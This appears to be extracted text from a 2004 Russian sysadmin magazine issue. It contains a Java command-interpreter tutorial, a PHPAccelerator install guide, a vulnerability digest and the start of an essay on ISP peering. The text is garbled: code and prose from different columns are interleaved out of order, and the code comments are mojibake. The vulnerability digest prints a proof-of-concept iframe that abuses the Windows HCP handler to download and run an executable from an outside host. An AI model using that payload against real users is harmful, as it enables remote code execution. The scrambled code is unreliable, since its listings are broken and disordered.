// ðàñïàêîâûâàåì ïåðåìåùàåìûå ýëåìåíòû, // âû÷èñëÿÿ àäðåñà êîððåêòèðóåìûõ ÿ÷ååê printf("FIXUP BLOCK - pageRVA: %06Xh, ↵ size %06d bytes\n"\ "-------------------------------------\n", pageRVA, blockSize); for (a = 8; a < blockSize; a += 2) { // èçâëåêàåì òèï fixup è ñìåùåíèå // îòíîñèòåëüíî pageRVA typeX = (*(WORD*)(pReloc + a)) >> 12; offsetX = (*(WORD*)(pReloc + a)) & ((1<<12)-1);
№6(19), июнь 2004
Опыт – чудесная вещь, он позволяет вам узнавать свою ошибку в тех случаях, когда вы ее допускаете снова и снова. (С) неизвестен. Строго говоря, никаких виртуальных страниц/секторов нет. Эта авторская терминология. Правильнее говорить о минимальной порции (кванте) данных, равной выбранной кратности выравнивания на диске и в памяти, но постоянно набивать такое на клавиатуре слишком длинно и утомительно.
Ðèñóíîê Îëåãà Ìîðîçîâà
if (!blockSize) break;
}
// áåðåì ñëåäóþùèé áëîê pReloc += blockSize;
71
программирование
ПРОСТОЙ ИНТЕРПРЕТАТОР КОМАНДНОГО ЯЗЫКА
АЛЕКСАНДР ФЕФЕЛОВ Я часто сталкиваюсь с необходимостью создания интерпретаторов командных языков и встраивания их в приложения. Под командным языком я понимаю язык, предназначенный для последовательного исполнения операторов вызова команд, описываемых простым синтаксисом: êîìàíäà [ïàðàìåòð1 [ïàðàìåòð2 ... [ïàðàìåòðN]]]
Языки подобного рода могут быть использованы:
! для расширения функциональности приложений с помощью скриптов или макросов;
! для удаленного управления приложениями (например, с помощью протокола Telnet);
! для создания интерактивных тестовых программ. Примерами таких языков являются язык командной строки ftp-клиента или языки управления столь распространенными сейчас DSL-модемами. В этой статье я предложу простое решение, которое позволит вам с минимальными трудозатратами создать
72
интерпретатор для командного языка. В качестве языка программирования я буду использовать Java.
Intro Итак, имеется некоторый язык (далее будем называть его целевым), поддерживающий только один оператор – оператор вызова команды. Программы на этом языке записываются в виде последовательности строк, причем в одной строке может быть расположен только один оператор. Система команд целевого языка полностью определена решаемой задачей. Необходимо для этого языка создать интерпретатор, который, получив очередной оператор, будет выполнять его и возвращать результат выполнения. Возможно, результат выполнения текущего оператора будет зависеть от результатов выполнения предыдущих операторов или от состояния приложения, в которое встроен интерпретатор. Например, в том же ftp-клиенте нельзя получить файл командой get, если перед этим не было установлено соединение с сервером. Поэтому, ин-
программирование терпретатор должен поддерживать понятие контекста исполнения, причем одним из результатов выполнения оператора может быть изменение этого контекста.
информацию. Оба метода в качестве параметра получают имя, под которым команда зарегистрирована в целевом языке.
Ошибки
Абстрактный интерпретатор
Начнем с ошибок. Для обработки ошибок, возникающих в процессе работы интерпретатора, создадим несложную иерархию исключений. Корнем этой иерархии будет исключение CliError:
Разобравшись с ошибками и командами, мы можем приступить к разработке ядра нашего интерпретатора.
public class CliError extends Exception { public CliError() { } public CliError(String msg) { super(msg); } }
Все остальные исключения нашей иерахии являются наследниками CliError и реализуются аналогичным образом. CliError отражает наиболее общий, неспецифицический тип ошибки. Более специфические ошибки это: ! SyntaxError – синтаксическая ошибка; ! UnknownCommandError – неизвестная команда; ! KnownCommandError – команда уже существует; ! ClassNotFoundError – не найден класс, реализующий команду; ! ClassCastError – класс не может реализовывать команду.
Команды У всех команд целевого языка, как бы ни различались алгоритмы их работы, есть одно общее важное свойство – способность к выполнению с определенным набором параметров в определенном контексте. Отразим это в интерфейсе Command: import java.util.*;
Структуры данных Первым делом разберемся, как интерпретатор будет хранить данные, отражающие его состояние, – систему команд и контекст выполнения. Система команд, с точки зрения нашего интерпретатора, – это набор пар «имя-класс», причем имена обязаны быть уникальными, а вот классы – нет. Для реализации такой структуры идеально подходит Hashtable. Им и воспользуемся. Как хранить контекст выполнения? Для практического применения может оказаться вполне достаточной реализация понятия переменных окружения (environment variables), используемого в командных процессорах, как в UNIX, так и в DOS/Windows. Для хранения контекста также подходит Hashtable, но, поскольку и имена, и значения переменных есть строки, удобнее будет использование Properties. import java.io.*; import java.util.*; import simplecli.command.*; import simplecli.error.*; abstract public class Interpreter { private Hashtable commands; private Properties context; public Hashtable getCommands() { return commands; } public Properties getContext() { return context; }
import simplecli.error.*; public interface Command { String run(Properties context, ArrayList parameters) throws CliError;
Для выполнения команды интерпретатор вызывает метод run, передавая ему экземпляр ArrayList, содержащий в виде объектов String параметры вызова команды, и экземпляр Properties, отражающий текущее состояние контекста выполнения (см. ниже). Результат выполнения команды возвращается в виде строки. В реальном целевом языке хотелось бы иметь поддержку системы помощи, хотя бы и в минимальном объеме. Это пригодится в интерактивном режиме работы. Поэтому добавим в интерфейс Command пару методов: String getDescription(String name); String getHelp(String name); }
Метод getDescription должен возвращать краткое описание команды, а метод getHelp – подробную справочную
№6(19), июнь 2004
При разбиении интерпретируемой строки на лексические элементы интерпретатор использует разделитель. Полезно будет оформить этот разделитель как полноценный член класса: public void setDelimiter(String delimiter) { this.delimiter = delimiter; } public String getDelimiter() { return delimiter; }
Инициализация Инициализация интерпретатора, включающая в себя определение системы команд и начальную настройку контекста выполнения, зависит, конечно же, от системы, в которую интерпретатор будет встроен. Поэтому отдадим инициализацию на откуп абстрактным методам: public Interpreter() { context = new Properties(); initContext(context);
73
программирование commands = new Hashtable(); initCommands(commands); }
if (clause == null) { break; }
setDelimiter(" ");
String result = null; try { result = interpretClause(clause); } catch (CliError ce) { err.println(ce); if (mustStopOnError()) { break; } }
abstract public void initContext(Properties context); abstract public void initCommands(Hashtable commands);
Режимы работы В каких режимах должен работать наш интерпретатор? В первую очередь это выполнение программы, записанной в некотором файле. В более общем случае программа для выполнения выбирается интерпретатором из потока. Потоком может быть и файл, и консольный ввод, и сетевое соединение. Назовем такой режим работы потоковым. В потоковом режиме интерпретатор получает из потока очередную строку и выполняет ее. Выделим в особый случай интерпретацию отдельных строк. Например, в графическом интерфейсе пользователя какому-либо пункту меню может быть сопоставлена некоторая строка, которая и передается интерпретатору при выборе пользователем этого пункта меню. Назовем выполнение интепретатором отдельных строк строковым режимом работы. Очевидно, что реализация потоковой интерпретации может быть основана на возможностях строкового режима. Поэтому начнем мы именно со строковой интерпретации: public String interpretClause(String clause) throws UnknownCommandError, CliError { if (clause == null) { return null; } clause = clause.trim(); if (clause.length() == 0) { return null; } String[] tokens = tokenize(clause, getDelimiter()); ArrayList parameters = new ArrayList(); for (int i = 1; i < tokens.length; i++) { parameters.add(tokens[i]); } Command command = (Command) commands.get(tokens[0]); if (command == null) { throw new UnknownCommandError(tokens[0]); } }
return command.run(getContext(), parameters);
public String[] tokenize(String s, String d) { return s.split(d); }
Реализовав строковый режим, мы легко можем реализовать и потоковый: public void interpret(BufferedReader in, PrintWriter out, PrintWriter err) throws IOException { while (true) { String prompt = context.getProperty("$PROMPT"); if (prompt != null && prompt.length() > 0) { out.print(prompt); out.flush(); } String clause = in.readLine();
74
if (result != null) { out.println(result); }
}
}
if (mustQuit()) { break; }
public boolean mustQuit() { String quit = context.getProperty("$QUIT"); if (quit == null) { return false; } if (quit.equals("yes") || quit.equals("true")) { return true; } else { return false; } } public boolean mustStopOnError() { String quit = context.getProperty("$STOPONERROR"); if (quit == null) { return true; } if (quit.equals("yes") || quit.equals("true")) { return true; } else { return false; } }
Отметим пару особенностей потокового режима работы. Во-первых, каким образом интепретатор узнает о необходимости завершения интерпретации? Если программа для выполнения считывается из файла, то, очевидно, конец файла и служит сигналом интерпретатору. Но что, если строки программы поступают с консоли? Во-вторых, что должен делать интерпретатор при обнаружении ошибки – прервать выполнение или продолжить его со следующего оператора? Обе проблемы просто решаются с использованием контекста выполнения. Заведем в контексте специальные переменные (назовем их соответственно $QUIT и $STOPONERROR) и заставим интерпретатор проверять их значения после выполнения очередного оператора. Аналогичным образом можно решить задачу выдачи приглашения ко вводу, если ввод осуществляется с консоли. Если контекстная переменная $PROMPT что-то содержит, то это «что-то» и будет использовано в качестве приглашения.
Конкретный интерпретатор Описанный абстрактный интерпретатор все еще не может быть непосредственно встроен в какую-либо систему. Необходимо конкретизировать методы инициализации.
программирование В качестве примера создадим конкретный интепретатор и реализуем для него простую, но мощную систему команд. import java.util.*; import simplecli.command.*; public class BaseInterpreter extends Interpreter { public void initContext(Properties context) { context.setProperty("$QUIT", "false"); context.setProperty("$STOPONERROR", "false"); context.setProperty("$PROMPT", ">"); }
SetCommand, интерфейс которой схож с интерфейсом команды SET командных процессоров bash и CMD.EXE. Вызов SetCommand без параметров будет возвращать список пар «переменная=значение» для всех переменных, определенных в контексте. Вызов с одним параметром удалит из контекста переменную, заданную параметром. Вызов с двумя параметрами установит переменную, указанную первым параметром, в значение, заданное вторым параметром. package simplecli.command; import java.util.*;
}
public void initCommands(Hashtable commands) { commands.put("exit", new ExitCommand()); commands.put("quit", new ExitCommand()); commands.put("bye", new ExitCommand()); commands.put("help", new HelpCommand(this)); commands.put("?", new HelpCommand(this)); commands.put("set", new SetCommand()); commands.put("register", new RegisterCommand(this)); commands.put("unregister", new UnregisterCommand(this)); }
import simplecli.error.*; public class SetCommand implements Command { public String run(Properties context, ArrayList parameters) throws SyntaxError { switch (parameters.size()) { case 0: // Íåò ïàðàìåòðîâ - âîçâðàùàåì ñïèñîê âñåõ // ïåðåìåííûõ â êîíòåêñòå âûïîëíåíèÿ. StringBuffer sb = new StringBuffer(); Enumeration names = context.propertyNames(); while (names.hasMoreElements()) { String name = (String) names.nextElement(); String val = context.getProperty(name); sb.append(name + "=" + val); if (names.hasMoreElements()) { sb.append(CRLF); } } if (sb.length() > 0) { return sb.toString(); } else { return null; }
Как видите – ничего сложного. В контексте создаются описанные выше специальные переменные, а в системе команд регистрируются несколько команд, о реализации которых мы и поговорим ниже. Самая простая команда – команда завершения интерпретации ExitCommand (здесь и далее я называю команды по именам классов, их реализующих). Эта команда просто меняет значение контекстной переменной $QUIT: package simplecli.command;
case 1: // Îäèí ïàðàìåòð - óäàëÿåì èç êîíòåêñòà âûïîëíåíèÿ // ïåðåìåííóþ, óêàçàííóþ â êà÷åñòâå ïàðàìåòðà. context.remove((String) parameters.get(0)); return null;
import java.util.*; import simplecli.error.*; public class ExitCommand implements Command {
case 2: // Äâà ïàðàìåòðà - óñòàíàâëèâàåì â êîíòåêñòå // âûïîëíåíèÿ ïåðåìåííóþ, óêàçàííóþ â êà÷åñòâå // ïåðâîãî ïàðàìåòðà, â çíà÷åíèå, óêàçàííîå // â êà÷åñòâå âòîðîãî ïàðàìåòðà. context.setProperty((String) parameters.get(0), (String) parameters.get(1)); return null;
public String run(Properties context, ArrayList parameters) throws SyntaxError { if (parameters.size() > 0) { throw new SyntaxError(); }
}
context.setProperty("$QUIT", "yes"); return null;
public String getDescription(String name) { return "Exits current interpreter session."; }
}
}
default: throw new SyntaxError();
public String getDescription(String name) { return "Manages environment variables."; }
public String getHelp(String name) { return "Exits current interpreter session." + CRLF + "Syntax: " + name; }
public String getHelp(String name) { return "Manages environment variables." + CRLF + "Syntax: " + name + " [variable [value]]"; }
private final static String CRLF = System.getProperty("line.separator");
private final static String CRLF = System.getProperty("line.separator");
} }
Управление контекстом выполнения Управляя контекстом выполнения, команды могут изменять состояние программы, в которую встроен интерпретатор, или влиять на выполнение других команд. Для управления контекстом мы реализуем команду
№6(19), июнь 2004
Побочным эффектом изменения контекста может быть влияние на процесс интерпретации. Например, описанная выше команда завершения интерпретации может быть реализована непосредственно на целевом языке:
75
программирование private final static String CRLF = System.getProperty("line.separator");
set $QUIT true
Система помощи Интерфейс Command предоставляет возможности для создания справочной системы. На основе этих возможностей мы и запрограммируем команду HelpCommand. Вызов команды HelpCommand без параметров возвратит список всех зарегистрированных команд с кратким описанием каждой из них, а вызов с одним параметром выдаст подробную справку по команде, имя которой задано параметром. package simplecli.command; import java.util.*; import simplecli.*; import simplecli.error.*; public class HelpCommand implements Command { public HelpCommand(Interpreter interpreter) { this.interpreter = interpreter; } public String run(Properties context, ArrayList parameters) throws SyntaxError, UnknownCommandError { switch (parameters.size()) { case 0: { // Íåò ïàðàìåòðîâ - âîçâðàùàåì êðàòêîå îïèñàíèå // âñåõ èçâåñòíûõ êîìàíä. StringBuffer sb = new StringBuffer(); Hashtable commands = interpreter.getCommands(); Enumeration names = commands.keys(); while (names.hasMoreElements()) { String name = (String) names.nextElement(); Command cmd = (Command) commands.get(name); String descr = cmd.getDescription(name); sb.append(name + "\t" + descr); if (names.hasMoreElements()) { sb.append(CRLF); } } if (sb.length() > 0) { return sb.toString(); } else { return null; } } case 1: { // Îäèí ïàðàìåòð - âîçâðàùàåì ïîëíóþ ñïðàâî÷íóþ // èíôîðìàöèþ ïî êîìàíäå, óêàçàííîé â êà÷åñòâå // ïàðàìåòðà. String name = (String) parameters.get(0); Hashtable commands = interpreter.getCommands(); Command cmd = (Command) commands.get(name); if (cmd == null) { throw new UnknownCommandError(name); } return cmd.getHelp(name); }
}
}
default: throw new SyntaxError();
public String getDescription(String name) { return "Prints help infomation."; } public String getHelp(String name) { return "Prints help infomation." + CRLF + "Syntax: " + name + " [command]"; } private Interpreter interpreter;
76
}
Динамическое изменение системы команд Посмотрев на код нашего конкретного интерпретатора, можно заметить, что система команд целевого языка фиксируется еще на этапе компиляции кода. Это не очень гибкое решение. Конечно же, можно переписать метод initCommands так, чтобы он создавал систему команд «на лету», считывая ее описание из конфигурационного файла. Но более интересным решением может оказаться встраивание возможности изменения системы команд непосредственно в целевой язык. Давайте закодируем пару команд RegisterCommand/ UnregisterCommand, первая из которых будет добавлять команду к системе команд, а вторая – удалять ее оттуда. Команда RegisterCommand должна вызываться с двумя обязательными параметрами. Первый – имя, под которым будет зарегистрирована новая команда. Второй – полностью квалифицированное имя класса, реализующего новую команду, причем этот класс должен удовлетворять ряду ограничений: ! класс должен реализовывать интерфейс Command; ! класс должен предоставлять конструктор без параметров; ! класс должен быть доступен для Java VM через CLASSPATH. package simplecli.command; import java.util.*; import simplecli.*; import simplecli.error.*; public class RegisterCommand implements Command { public RegisterCommand(Interpreter interpreter) { this.interpreter = interpreter; } public String run(Properties context, ArrayList parameters) throws SyntaxError, KnownCommandError, ClassNotFoundError, ClassCastError { if (parameters.size() != 2) { throw new SyntaxError(); } String name = (String) parameters.get(0); String clazzName = (String) parameters.get(1); Hashtable commands = interpreter.getCommands(); if (commands.containsKey(name)) { throw new KnownCommandError(); } Class clazz = null; try { clazz = Class.forName(clazzName); } catch (ClassNotFoundException cnfe) { throw new ClassNotFoundError(); } Command command = null; try { command = (Command) clazz.newInstance(); } catch (Exception e) {
программирование }
throw new ClassCastError();
public class BaseInterpreterTest { public static void main(String[] args) throws IOException {
commands.put(name, command); }
return null;
System.out.println("BaseInterpreter testbed"); BufferedReader in = new BufferedReader( new InputStreamReader(System.in)); PrintWriter out = new PrintWriter(System.out, true);
public String getDescription(String name) { return "Registers new command."; } public String getHelp(String name) { return "Registers new command." + CRLF + "Syntax: " + name + " command class"; } private Interpreter interpreter; private final static String CRLF = System.getProperty("line.separator");
}
Interpreter interpreter = new BaseInterpreter(); interpreter.interpret(in, out, out);
}
Компилируем, запускаем, экспериментируем:
}
У команды UnregisterCommand всего один параметр, который задает команду, подлежащую удалению из системы команд. import java.util.*; import simplecli.*; import simplecli.error.*; public class UnregisterCommand implements Command { public UnregisterCommand(Interpreter interpreter) { this.interpreter = interpreter; }
Поиграем с командой set:
public String run(Properties context, ArrayList parameters) throws SyntaxError, UnknownCommandError { if (parameters.size() != 1) { throw new SyntaxError(); } String name = (String) parameters.get(0); Hashtable commands = interpreter.getCommands(); if (commands.remove(name) == null) { throw new UnknownCommandError(); } }
return null;
public String getDescription(String name) { return "Unregisters command."; } public String getHelp(String name) { return "Unregisters command." + CRLF + "Syntax: " + name + " command"; } private Interpreter interpreter; private final static String CRLF = System.getProperty("line.separator");
Удалим set из системы команд:
Вернем set обратно:
Зарегистрировать уже существующую команду не удастся:
}
Испытательный полигон
Также не удастся зарегистрировать команды, реализуемые несуществующими или неподходящими классами:
Вот все работы и завершены. Теперь самое время увидеть интерпретатор в действии. package simpleclitest; import java.io.*;
Ну и напоследок:
import simplecli.*;
№6(19), июнь 2004
77
web
ОПТИМИЗАЦИЯ РАБОТЫ PHP ПРИ ПОМОЩИ PHPAccelerator
В статье «Кэширование веб-сценариев» февральского номера журнала была затронута тема оптимизации сайтов. Рассмотренный способ является несколько трудоёмким. Одним из более эффективных решений является PHPAccelerator. О нём, собственно, и пойдет разговор в данной статье.
АНДРЕЙ УВАРОВ 78
web Итак, что же такое PHPAccelerator (PHPA)? Это расширение, подключаемое к PHP-компилятору, которое за счёт кэширования ускоряет работу скриптов. В вышеупомянутой статье мы ускоряли работу скриптов за счёт кэширования их вывода, но в данном случае кэширование подразумевает устранение чтения кода, его грамматического разбора, компилирования, многих операций выделения памяти и копирования, а также, отчасти, дисковых операций. Очень важно, что для кэширования скриптов мы не должны изменять каким-либо образом код. Это является большим плюсом и экономит наше время, по сравнению с организацией кэширования скриптов вручную. Находится PHPAccelerator по адресу: http://php-Accelerator.co.uk и является полностью бесплатным. В настоящий момент существуют версии для платформ: Linux, OpenBSD, FreeBSD, BSDi и Solaris. Возможно, в будущем в этот список будет включена и Windows. Стоит также заметить, что PHPAccelerator совместим только с веб-сервером Apache, но как надеются разработчики, будет осуществлена поддержка и для других веб-серверов, из которых следующим является Zeus. Установка PHPAccelerator даже для неискушённого пользователя представляет собой дело весьма простое. Скачав архив с нужной версией и распаковав его, мы получаем несколько файлов характера «readme», phpa_ cashe_admin и собственно саму библиотеку с названием вроде «php_accelerator_1.3.3r2.so». Для установки необходимо скопировать эту библиотеку в то место, где, по вашему мнению, она должна находиться, обычно это /usr/ local/lib (лично мне больше нравится /usr/local/lib/phpa). В качестве следующего шага необходимо добавить в файле php.ini полный путь к месту, где находится PHPAccelerator. Например: zend_extension=/usr/local/lib/phpa/php_accelerator_1.3.3r2.so
по причине того, что PHPAccelerator не является модулем, используется параметр zend_extension. Если вы используете модуль «dbg.so», то для корректной работы вам скорее всего придётся его отключить, так как он является несовместимым с PHPAccelerator. Для того чтобы все совершённые нами изменения вступили в силу, необходимо перезагрузить веб-сервер. Как и было обещано, установка не представила никаких трудностей. После инсталляции возникает вопрос: «А как проверить, работает ли PHPAccelerator?». Существует несколько способов проверить вызывающий у нас сомнения факт.
Способ 1 При работе PHPAccelerator добавляет к HTTP-заголовку ответа параметр: X-Accelerated-By. Вы можете проверить это, выполнив команду HEAD. Например:
№6(19), июнь 2004
Способ 2 Дело в том, что если PHPAccelerator установлен, то в массиве $GLOBALS создаётся ключ _PHPA. Вот пример простого скрипта, выводящего содержимое этой переменной: <?php var_dump($GLOBALS['_PHPA']); ?>
Если всё в порядке, то результат должен быть примерно следующим: array(3) { ["ENABLED"]=> bool(true) ["iVERSION"]=> int(10302) ["VERSION"]=> string(5) "1.3.2" }
В противном случае будет выведено «NULL». Чтобы определить, в чём заключается неисправность, заглянем в error_log (error_log является местом, куда веб-сервер сохраняет сведения о возникающих ошибках и некоторую другую служебную информацию, обычно этот файл располагается в каталоге /var/log/httpd). Наличие сообщения, подобного следующему:
свидетельствует о несовместимости PHPAccelerator с установленной версией PHP. В этой ситуации вам необходимо скачать нужную версию PHPAccelerator и заменить ей старую. Это решит возникшую перед вами проблему. Установив PHPAccelerator, уже можно наслаждаться повышением быстродействия. Ознакомиться с тестами производительности, можно по адресу: http://www.phpaccelerator.co.uk/perfomance.php. Но, как говорится, нет предела совершенству. Вы можете самостоятельно изменить настройки посредством добавления соответствующих ключей в файл php.ini и присвоения им нужных вам значений. Таким образом, можно определить файлы или каталоги, которые не должны подвергаться кэшированию, установить промежуток времени, через который будет осуществляться чистка кэша (чистка кэша заключается в удалении кэшированных файлов, срок жизни которых истёк, т.е. тех, которые не использовались дольше установленного времени). Более подробно о настройке говорить не стоит, так как всё очень подробно описано в файле CONFIGURATION, поставляемом вместе с PHPAccelerator, да и особых трудностей возникнуть не должно. Единственное, что хочется добавить, так это то, что, приступая к настройке, да и вообще использованию, вы должны быть уверены в том, что знаете, насколько часто вызываются и обновляются ваши скрипты, иначе вы просто не получите должного результата.
79
bugtraq Удаленное выполнение произвольного кода в Help and Support Center в Windows XP/2003 Программа: Windows XP/2003. Опасность: Высокая. Описание: Уязвимость обнаружена в Help and Support Center в обработке HCP URL. Удаленный атакующий может сконструировать специально обработанный HCP URL, который выполнит произвольный код в браузере пользователя, посетившего злонамеренный веб-сайт или просмотревшего злонамеренное email-сообщение. Пример/Эксплоит: <iframe src="HCP://system/DVDUpgrd/dvdupgrd.htm?website= ↵ exploitlabs.com/msnspoof/poc/dvdupgd/dvdupgd.exe" width="1" height="1"> </iframe>
URL производителя: http://www.microsoft.com/technet/ security/bulletin/ms04-015.mspx. Решение: Установите соответствующее обновление.
Несколько удаленных переполнений буфера в Exim Программа: Exim 3.35, 4.32. Опасность: Критическая. Описание: Два стековых переполнения буфера обнаружено в Exim. Одно переполнение происходит в accept.c в случаях, когда установлен параметр headers_check_syntax в exim.conf. Второе переполнение происходит в verify.c в случаях, когда установлен параметр require verify = header_syntax. Обе уязвимости могут использоваться для удаленного выполнения произвольного кода. Также сообщается, что версия 3.35 содержит переполнение буфера в verify.c в случаях, когда установлен параметр sender_verify = true. URL производителя: http://www.exim.org. Решение: Способов устранения обнаруженной уязвимости не существует в настоящее время. Неофициальное исправление можно посмотреть здесь: http://www.guninski.com/ exim1.html.
Удаленное переполнение буфера в Check Point VPN-1
Удаленное переполнение буфера в Apache mod_ssl
Программа: Check Point VPN-1. Опасность: Критическая. Описание: Переполнение буфера обнаружено в Check Point VPN-1 в обработке ISAKMP-пакетов в процессе установления VPN-туннеля. Удаленный пользователь может выполнить произвольный код на целевой системе и в некоторых случаях скомпрометировать защищаемую сеть. URL производителя: http://www.checkpoint.com/techsupport/ alerts/ike_vpn.html. Решение: Установите соответствующее обновление.
Программа: Apache mod_ssl. Опасность: Критическая. Описание: Удаленное переполнение буфера обнаружено в Apache mod_ssl. Удаленный пользователь может выполнить произвольный код на целевой системе. Переполнение буфера обнаружено в параметре SubjectDN в клиентском сертификате, который передается к функции ssl_util_uuencode_binary() в ssl_util.c. Согласно OpenPKG, переполнение расположено в «SSLOptions + FakeBasicAuth» выполнении mod_ssl и может быть вызвано, когда SubjectDN длиннее 6 Кб, и в конфигурациях, в которых mod_ssl доверяет сертификатам, изданным СА. URL производителя: http://www.modssl.org. Решение: Способов устранения обнаруженной уязвимости не существует в настоящее время.
Удаленное переполнение буфера в DeleGate в SSLway фильтре Программа: DeleGate 8.9.2 и более ранние версии. Опасность: Высокая. Описание: Удаленный пользователь может послать сертификат с заголовком или именем издателя более 256 байт, чтобы вызвать переполнение буфера в filters/sslway.c в статической ssl_prcert()-функции. URL производителя: http://www.delegate.org/delegate. Решение: Установите обновленную версию сервера: ftp:// ftp.delegate.org/pub/DeleGate.
Удаленное переполнение буфера в WildTangent Web Driver Программа: WildTangent Web Driver 4.0. Опасность: Высокая. Описание: Несколько переполнений буфера обнаружено в WTHoster и WebDriver-модулях. Удаленный пользователь может представить специально обработанное имя файла, чтобы вызвать переполнение и выполнить произвольный код на целевой системе. URL производителя: http://www.wildtangent.com. Решение: Установите обновленную версию программы: http:// www.wildtangent.com/default.asp?pageID=webdriver_download.
80
Удаленное переполнение буфера в Concurrent Versions System (CVS) Программа: CVS 1.11.15 и более ранние версии. Опасность: Высокая. Описание: Переполнение динамической памяти обнаружено в Concurrent Versions System (CVS). Удаленный пользователь может выполнить произвольный код на целевой системе. Переполнение происходит при обработке строк входа. Удаленный пользователь может заставить функцию быть вызванной несколько раз, включая некоторые символы в строку входа, чтобы перезаписать память произвольными данными. URL производителя: http://www.cvshome.org. Решение: Установите обновленную версию программы: http://ccvs.cvshome.org/servlets/ProjectDownloadList. Составил Александр Антипов
образование
ПИРИНГ
Слово peering попало в русский язык совершенно недавно, и современными англо-русскими словарями оно переводится как равноправный информационный обмен. За неимением смысловых аналогов в русском языке появился новый термин, полученный путём транслитерации, – «пиринг». От него стали возникать различные производные вроде «пиринговые соглашения», «пиринговая политика» и пр. Судя по опросу большинства встречающихся мне людей и по реакции на мой доклад по этой проблеме на X международной конференции «Проблемы управления безопасностью сложных систем», у меня сложилось мнение, что многие даже активно пользующиеся Интернетом люди, имея за плечами немалый опыт, в том числе и по администрированию, часто не имеют ни малейшего представления об этих терминах и что за ними стоит в реальной жизни. Данная статья есть попытка раскрыть для массовой аудитории смысл происходящих явлений в России (по большей части в Москве), связанных каким-либо образом с пирингом.
ПАВЕЛ ЗАКЛЯКОВ Не скрою, что для меня большим источником вдохновения написать эту статью стало не только сложившееся положение на рынке провайдеров в декабре 2002 года, которое отразилось на мне прямым образом, но и предшествующая произошедшим событиям статья Александра Милицкого «Битва за Россию» [1]. Итак, если коротко описать все те вопросы, на которые я собрался ответить, то вот их список: ! Что есть пиринг? ! Почему о нём не знают конечные пользователи? ! Что было ранее и происходит сейчас? ! Наблюдения на практике. ! Будущее за пирингом? ! Выводы.
Что есть пиринг? Рассмотрим некоторую телефонную сеть, например МГТС, потому что пользователей телефонов заведомо больше тех, кто пользуется Интернетом, и по сему проводимые аналоги должны быть понятны всем. Обычный телефонный номер является семизначным и в общем виде выглядит так: XXX-YY-YY, где вместо X и Y следует подставить цифры. Первые три цифры XXX являются
82
номером АТС, обслуживающей данный номер. Некоторые номера зарезервированы. Маршрутизация является закрытой. Теперь проведём аналоги. Номер телефона – IP-адрес, номер АТС – это номер блока IP-адресов, маршрутизируемых вашим провайдером. Зарезервированные номера 100, 01, 02, 03, 04, ... – 0.x.x.x, 1.x.x.x и др., зарезервированные IANA (RFC 3330). Маршрутизация для конечного пользователя и тут и там закрытая, то есть, чтобы дозвониться до абонента или передать пакет хосту, достаточно только знать номер абонента или IP-адрес и ничего более. МиниАТС с внутренними номерами – внутренние частные сети 192.168.x.x и др. (RFC 1918). Телефонные узлы, обслуживающие несколько АТС, – автономные системы у провайдеров. Теперь давайте рассмотрим средне-статистические звонки. Два телефонных абонента, например Аня и Ваня, знающие друг друга и проживающие в одном доме или даже в одном микрорайоне, скорее всего будут иметь общую АТС. При этом если они звонят друг другу, то слышимость скорее всего будет лучшей, чем если Аня или Ваня позвонят своей общей знакомой в другой район на другую АТС. Аналогичное можно сказать и о других двух абонентах – Мише и Пете, проживающих в другом районе и, например, учащихся в другой школе. Количество звонков между абонентами одной АТС
образование будет больше в силу географического расположения абонентов, и такие звонки можно назвать локальными в пределах конкретной АТС. В любом случае, даже если два абонента из разных районов будут звонить друг другу, то связь между ними будет установлена локально в пределах Москвы, и им совершенно нет необходимости пользоваться междугородней или международной связью. Количество звонков по городу на порядок больше числа звонков в другие города, и никому даже в голову не придёт, что для звонка по Москве надо иметь выход на межгород. Теперь та же ситуация с компьютерными сетями. Те же Аня и Ваня, но уже абоненты их домовой или районной сети, будут чаще меняться трафиком между собой, например, играя в какую-то игрушку, чем с абонентами другой сети – Мишей и Петей. Даже если учесть, что они все знакомы, и могут играть вместе, то их общий обменный трафик исходя из здравого смысла должен быть локальным в пределах Москвы. Данная ситуация есть разумное развитие событий и как раз и есть «пиринг». АТС, обслуживающая Аню и Ваню, и АТС, обслуживающая Мишу и Петю, как и их интернет-провайдеры, договариваются о совместном обмене трафиком. На практике это выглядит так: они скидываются вместе по некоторой небольшой сумме денег на обслуживание их общего соединения и далее живут мирно, АТС, передавая звонки друг другу, а провайдеры – пакеты. Обычно все от этого выигрывают и не считают, кто к кому сколько раз звонил или переслал пакетов. Если же Ваня надумает позвонить своему приятелю Джону в США, то он заплатит за международный звонок по отдельному тарифу. То же самое и в Интернете: если вдруг потребуется передать пакет в США, он будет посчитан по зарубежному тарифу. Теперь давайте зададим вопрос следующего раздела и рассмотрим его.
Почему о пиринге не знают конечные пользователи? Потому что никому до этого нет дела, по той причине, что при правильном стечении обстоятельств «пиринг» получается сам собой, и все охотно идут на него. Никому и в голову не придёт то, что звонок из Москвы в Москву должен идти через Воронеж, Стокгольм или Нью-Йорк. Что нельзя или сложно сделать на примере телефонной сети, легко и просто можно сделать в сети Интернет. Не все пользователи и даже не все администраторы досконально представляют себе работу АТС или Интернета от начала и до конца, данная общая безграмотность и позволяет нас дурачить и обманывать. Так кто же может нас обманывать и зачем? – об этом в следующем разделе.
Что было ранее и происходит сейчас? Ранее, до 3 декабря 2002 года, развитие российского рынка доступа в Интернет, при некотором отставании по времени, шло в русле общемировой практики. Скорости доступа и качество услуг росли, а цены неуклонно снижались. Пиринговая политика наших провайдеров была по возможности максимально разумна. А.Милицкий [1] происходившее описывает следующим
№6(19), июнь 2004
образом: «Первые российские провайдеры подключались к коммерческим и академическим узлам на Западе прямыми каналами, – когда Интернет только-только появился у нас в стране, никакой соответствующей инфраструктуры здесь, естественно, ещё не было. Первое время она, казалось, была и не особенно нужна, – электронная почта использовалась учёными и бизнесменами в основном для контактов с западными коллегами; основные файловые архивы и наиболее многочисленные веб-сервера располагались за океаном, – так что проблемы внутрироссийской связности мало кого беспокоили, а вот прямые каналы в самое «сердце» Интернета, напротив, очень ценились. Именно тогда и появилось забытое ныне подразделение провайдеров на «первичных» и «вторичных», – те, кто располагал прямым каналом на Запад, оказывались в преимущественном положении по сравнению с подключающимися уже к ним более мелкими коллегами, да и качество связи своим клиентам обеспечивали более высокое. Однако со временем число пользователей в нашей стране росло, росло и количество расположенных здесь информационных ресурсов. Дорогостоящая пропускная способность международных каналов всё сильнее и сильнее загружалась исключительно внутрироссийским трафиком – нередко электронное письмо, отправленное на соседнюю улицу, шло от одного нашего провайдера по прямому внешнему каналу в Европу, оттуда – в Штаты и уже оттуда, по другому международному каналу, – обратно в Россию, к провайдеру адресата. Понятно, что ни дешевизне, ни качеству коммуникаций такая организация связи не способствовала. Когда внутрироссийский трафик начал занимать в общем потоке заметную долю, стало очевидным, 